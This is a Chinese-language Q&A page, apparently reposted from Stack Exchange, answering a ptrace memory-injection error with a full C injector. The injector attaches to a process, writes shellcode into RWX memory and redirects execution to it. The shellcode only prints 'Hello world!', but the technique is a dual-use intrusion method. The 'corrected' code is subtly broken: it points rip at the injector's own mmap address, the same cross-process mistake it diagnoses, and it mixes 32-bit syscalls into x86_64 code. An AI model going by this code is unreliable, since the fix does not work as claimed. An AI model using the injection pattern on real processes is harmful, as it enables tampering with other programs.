You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Ptrace pokedata内存注入时出现Input/output error问题求助

问题分析与解决

错误根源

你遇到的ptrace pokedata: Input/output error核心原因是:你在注入器进程内调用mmap分配的内存地址,属于注入器自身的地址空间,目标进程的地址空间中该地址并未被映射,是完全无效的地址。每个进程的虚拟地址空间完全独立,直接用这个地址操作目标进程内存必然失败。

正确的内存注入逻辑

要完成内存注入,必须在目标进程的地址空间内分配可执行内存,再将payload写入该地址,最后修改目标进程的指令指针使其执行payload。

修正后的注入器代码示例

#include <stdio.h>
#include <stdlib.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <string.h>
#include <errno.h>
#include <sys/user.h>
#include <stdarg.h>

// 32位兼容payload:输出"Hello world!"后退出
unsigned char g_payload[] = "\x31\xC0\x31\xDB\x31\xD2\xB0\x04\xB3\x01\x68\x72\x6C\x64\x21\x68\x6F\x20\x57\x6F\x68\x48\x65\x6C\x6C\x89\xE1\xB2\x0C\xCD\x80\x31\xC0\xB0\x01\xCD\x80";

void ft_error(const char *msg) {
    perror(msg);
    exit(EXIT_FAILURE);
}

void info(const char *fmt, ...) {
    va_list args;
    va_start(args, fmt);
    fprintf(stderr, "[*] ");
    vfprintf(stderr, fmt, args);
    fprintf(stderr, "\n");
    va_end(args);
}

int main(int argc, char **argv) {
    pid_t target_pid;
    struct user_regs_struct regs;
    void *remote_addr;

    if (argc != 2) {
        fprintf(stderr, "Usage: %s <target_pid>\n", argv[0]);
        exit(EXIT_FAILURE);
    }
    target_pid = atoi(argv[1]);

    // 附加到目标进程
    if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) < 0)
        ft_error("ptrace attach");
    waitpid(target_pid, NULL, 0);
    info("Attached to process (%d)", target_pid);

    // 获取目标进程当前寄存器状态
    if (ptrace(PTRACE_GETREGS, target_pid, NULL, &regs) < 0)
        ft_error("ptrace getregs");

    // 在目标进程栈上写入mmap的调用参数(x86_64架构)
    unsigned long mmap_args[] = {
        0, // addr: NULL
        sizeof(g_payload), // length: payload大小
        PROT_READ | PROT_WRITE | PROT_EXEC, // prot: 读写执行权限
        MAP_ANONYMOUS | MAP_PRIVATE, // flags: 匿名私有映射
        -1, // fd: 无效文件描述符
        0 // offset: 0
    };
    void *stack_addr = (void *)(regs.rsp - sizeof(mmap_args));

    // 将参数写入目标进程栈
    for (int i = 0; i < sizeof(mmap_args)/sizeof(unsigned long); i++) {
        if (ptrace(PTRACE_POKEDATA, target_pid, stack_addr + i*sizeof(unsigned long), mmap_args[i]) < 0)
            ft_error("ptrace pokedata (stack args)");
    }

    // 修改寄存器,让目标进程执行mmap
    regs.rip = (unsigned long)mmap; // 指令指针指向mmap函数
    regs.rsp = (unsigned long)stack_addr; // 栈指针指向参数起始位置
    // x86_64调用约定:前6个参数对应rdi/rsi/rdx/r10/r8/r9
    regs.rdi = mmap_args[0];
    regs.rsi = mmap_args[1];
    regs.rdx = mmap_args[2];
    regs.r10 = mmap_args[3]; // 注意mmap的第四个参数用r10而非rcx
    regs.r8 = mmap_args[4];
    regs.r9 = mmap_args[5];

    if (ptrace(PTRACE_SETREGS, target_pid, NULL, &regs) < 0)
        ft_error("ptrace setregs (mmap)");

    // 执行mmap并等待进程暂停
    if (ptrace(PTRACE_CONT, target_pid, NULL, NULL) < 0)
        ft_error("ptrace continue (mmap)");
    waitpid(target_pid, NULL, 0);

    // 获取mmap返回的内存地址(存在rax寄存器中)
    if (ptrace(PTRACE_GETREGS, target_pid, NULL, &regs) < 0)
        ft_error("ptrace getregs (mmap result)");
    remote_addr = (void *)regs.rax;
    if (remote_addr == MAP_FAILED)
        ft_error("mmap in target process failed");
    info("Allocated %ld bytes in target process at %p", sizeof(g_payload), remote_addr);

    // 将payload写入目标进程的分配内存
    for (int i = 0; i < sizeof(g_payload); i += sizeof(long)) {
        unsigned long data = 0;
        memcpy(&data, g_payload + i, sizeof(long));
        if (ptrace(PTRACE_POKEDATA, target_pid, remote_addr + i, data) < 0)
            ft_error("ptrace pokedata (payload)");
    }
    info("Payload loaded into process");

    // 保存原指令指针,执行完payload后可恢复(可选)
    unsigned long original_rip = regs.rip;
    // 修改指令指针指向payload起始地址
    regs.rip = (unsigned long)remote_addr;
    if (ptrace(PTRACE_SETREGS, target_pid, NULL, &regs) < 0)
        ft_error("ptrace setregs (payload)");
    info("Entry point set to payload");

    // 执行payload
    if (ptrace(PTRACE_CONT, target_pid, NULL, NULL) < 0)
        ft_error("ptrace continue (payload)");
    waitpid(target_pid, NULL, 0);

    // 恢复原指令指针,让目标进程回到原循环(可选)
    regs.rip = original_rip;
    if (ptrace(PTRACE_SETREGS, target_pid, NULL, &regs) < 0)
        ft_error("ptrace setregs (restore)");

    // 分离目标进程
    if (ptrace(PTRACE_DETACH, target_pid, NULL, NULL) < 0)
        ft_error("ptrace detach");
    info("Detached from process");

    exit(EXIT_SUCCESS);
}

关键注意事项

  • 地址空间独立性:永远不要混淆注入器和目标进程的地址空间,所有操作必须针对目标进程的有效地址。
  • 架构适配:上述代码针对x86_64架构,若为32位系统,需调整寄存器(如用eax/ebx等)和调用约定(栈传参)。
  • 内存权限:分配内存时必须添加PROT_EXEC权限,否则目标进程执行payload会触发权限错误。
  • ptrace同步:每次调用PTRACE_CONT后,必须用waitpid等待目标进程暂停,确保后续操作的正确性。

内容的提问来源于stack exchange,提问作者PacoFrost

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.20 05:07:56